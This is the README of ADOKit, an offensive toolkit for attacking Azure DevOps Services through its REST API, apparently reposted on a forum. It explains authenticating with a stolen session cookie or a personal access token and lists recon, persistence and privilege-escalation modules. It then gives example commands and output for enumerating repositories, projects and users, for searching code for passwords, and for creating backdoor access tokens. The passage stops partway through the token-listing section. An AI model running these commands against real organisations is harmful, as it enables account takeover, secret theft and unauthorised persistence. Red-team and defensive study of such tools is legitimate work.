ADOKit | Azure DevOps Services Attack Toolkit

ADOKit

Description

Azure DevOps Services Attack Toolkit - ADOKit is a toolkit that can be used to attack Azure DevOps Services by taking advantage of the available REST API. The tool allows the user to specify an attack module, along with specifying valid credentials (API key or stolen authentication cookie) for the respective Azure DevOps Services instance. The attack modules supported include reconnaissance, privilege escalation and persistence. ADOKit was built in a modular approach, so that new modules can be added in the future by the information security community.

Full details on the techniques used by ADOKit are in the X-Force Red whitepaper.

Release

  • Version 1.0 of ADOKit can be found in Releases

Table of Contents

Installation/Building

Libraries Used

The below 3rd party libraries are used in this project.

Library URL License
Fody https://github.com/Fody/Fody MIT License
Newtonsoft.Json https://github.com/JamesNK/Newtonsoft.Json MIT License

Pre-Compiled

  • Use the pre-compiled binary in Releases

Building Yourself

Take the below steps to setup Visual Studio in order to compile the project yourself. This requires two .NET libraries that can be installed from the NuGet package manager.

  • Load the Visual Studio project up and go to “Tools” → “NuGet Package Manager” → “Package Manager Settings”
  • Go to “NuGet Package Manager” → “Package Sources”
  • Add a package source with the URL https://api.nuget.org/v3/index.json
  • Install the Costura.Fody NuGet package.
    • Install-Package Costura.Fody -Version 3.3.3
  • Install the Newtonsoft.Json package
    • Install-Package Newtonsoft.Json
  • You can now build the project yourself!

Command Modules

  • Recon
    • check - Check whether organization uses Azure DevOps and if credentials are valid
    • whoami - List the current user and its group memberships
    • listrepo - List all repositories
    • searchrepo - Search for given repository
    • listproject - List all projects
    • searchproject - Search for given project
    • searchcode - Search for code containing a search term
    • searchfile - Search for file based on a search term
    • listuser - List users
    • searchuser - Search for a given user
    • listgroup - List groups
    • searchgroup - Search for a given group
    • getgroupmembers - List all group members for a given group
    • getpermissions - Get the permissions for who has access to a given project
  • Persistence
    • createpat - Create personal access token for user
    • listpat - List personal access tokens for user
    • removepat - Remove personal access token for user
    • createsshkey - Create public SSH key for user
    • listsshkey - List public SSH keys for user
    • removesshkey - Remove public SSH key for user
  • Privilege Escalation
    • addprojectadmin - Add a user to the “Project Administrators” for a given project
    • removeprojectadmin - Remove a user from the “Project Administrators” group for a given project
    • addbuildadmin - Add a user to the “Build Administrators” group for a given project
    • removebuildadmin - Remove a user from the “Build Administrators” group for a given project
    • addcollectionadmin - Add a user to the “Project Collection Administrators” group
    • removecollectionadmin - Remove a user from the “Project Collection Administrators” group
    • addcollectionbuildadmin - Add a user to the “Project Collection Build Administrators” group
    • removecollectionbuildadmin - Remove a user from the “Project Collection Build Administrators” group
    • addcollectionbuildsvc - Add a user to the “Project Collection Build Service Accounts” group
    • removecollectionbuildsvc - Remove a user from the “Project Collection Build Service Accounts” group
    • addcollectionsvc - Add a user to the “Project Collection Service Accounts” group
    • removecollectionsvc - Remove a user from the “Project Collection Service Accounts” group
    • getpipelinevars - Retrieve any pipeline variables used for a given project.
    • getpipelinesecrets - Retrieve the names of any pipeline secrets used for a given project.
    • getserviceconnections - Retrieve the service connections used for a given project.

Arguments/Options

  • /credential: - credential for authentication (PAT or Cookie). Applicable to all modules.
  • /url: - Azure DevOps URL. Applicable to all modules.
  • /search: - Keyword to search for. Not applicable to all modules.
  • /project: - Project to perform an action for. Not applicable to all modules.
  • /user: - Perform an action against a specific user. Not applicable to all modules.
  • /id: - Used with persistence modules to perform an action against a specific token ID. Not applicable to all modules.
  • /group: - Perform an action against a specific group. Not applicable to all modules.

Authentication Options

Below are the authentication options you have with ADOKit when authenticating to an Azure DevOps instance.

  • Stolen Cookie - This will be the UserAuthentication cookie on a user’s machine for the .dev.azure.com domain.
    • /credential:UserAuthentication=ABC123
  • Personal Access Token (PAT) - This will be an access token/API key that will be a single string.
    • /credential:apiToken

Module Details Table

The below table shows the permissions required for each module.

Attack Scenario Module Special Permissions? Notes
Recon check No
Recon whoami No
Recon listrepo No
Recon searchrepo No
Recon listproject No
Recon searchproject No
Recon searchcode No
Recon searchfile No
Recon listuser No
Recon searchuser No
Recon listgroup No
Recon searchgroup No
Recon getgroupmembers No
Recon getpermissions No
Persistence createpat No
Persistence listpat No
Persistence removepat No
Persistence createsshkey No
Persistence listsshkey No
Persistence removesshkey No
Privilege Escalation addprojectadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removeprojectadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addbuildadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removebuildadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addcollectionadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removecollectionadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addcollectionbuildadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removecollectionbuildadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addcollectionbuildsvc Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
Privilege Escalation removecollectionbuildsvc Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
Privilege Escalation addcollectionsvc Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removecollectionsvc Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation getpipelinevars Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
Privilege Escalation getpipelinesecrets Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
Privilege Escalation getserviceconnections Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts

Examples

Validate Azure DevOps Access

Use Case

Perform authentication check to ensure that organization is using Azure DevOps and that provided credentials are valid.

Syntax

Provide the check module, along with any relevant authentication information and URL. This will output whether the organization provided is using Azure DevOps, and if so, will attempt to validate the credentials provided.

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         check
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/28/2023 3:33:01 PM
==================================================


[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

Whoami

Use Case

Get the current user and the user’s group memberhips

Syntax

Provide the whoami module, along with any relevant authentication information and URL. This will output the current user and all of its group memberhips.

ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

List Repos

Use Case

Discover repositories being used in Azure DevOps instance

Syntax

Provide the listrepo module, along with any relevant authentication information and URL. This will output the repository name and URL.

ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Search Repos

Use Case

Search for repositories by repository name in Azure DevOps instance

Syntax

Provide the searchrepo module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching repository name and URL.

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Example Output

C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

==================================================
Module:         searchrepo
Auth Type:      API Key
Search Term:    test
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 9:26:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

List Projects

Use Case

Discover projects being used in Azure DevOps instance

Syntax

Provide the listproject module, along with any relevant authentication information and URL. This will output the project name, visibility (public or private) and URL.

ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

Search Projects

Use Case

Search for projects by project name in Azure DevOps instance

Syntax

Provide the searchproject module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching project name, visibility (public or private) and URL.

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Example Output

C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

==================================================
Module:         searchproject
Auth Type:      API Key
Search Term:    map
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:45:30 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

Search Code

Use Case

Search for code containing a given keyword in Azure DevOps instance

Syntax

Provide the searchcode module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching code file, along with the line in the code that matched.

ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password

ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password

Example Output

C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

Search Files

Use Case

Search for files in repositories containing a given keyword in the file name in Azure DevOps

Syntax

Provide the searchfile module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository.

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

Example Output

C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

==================================================
Module:         searchfile
Auth Type:      Cookie
Search Term:    test
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 11:28:34 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                                            File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

Create PAT

Use Case

Create a personal access token (PAT) for a user that can be used for persistence to an Azure DevOps instance.

Syntax

Provide the createpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, date valid til, and token content for the PAT created. The name of the PAT created will be ADOKit- followed by a random string of 8 characters. The date the PAT is valid until will be 1 year from the date of creation, as that is the maximum that Azure DevOps allows.

ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

List PATs

Use Case

List all personal access tokens (PAT’s) for a given user in an Azure DevOps instance.

Syntax

Provide the listpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, and date valid til for all active PAT’s for the user.

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

GitHub:

4 Likes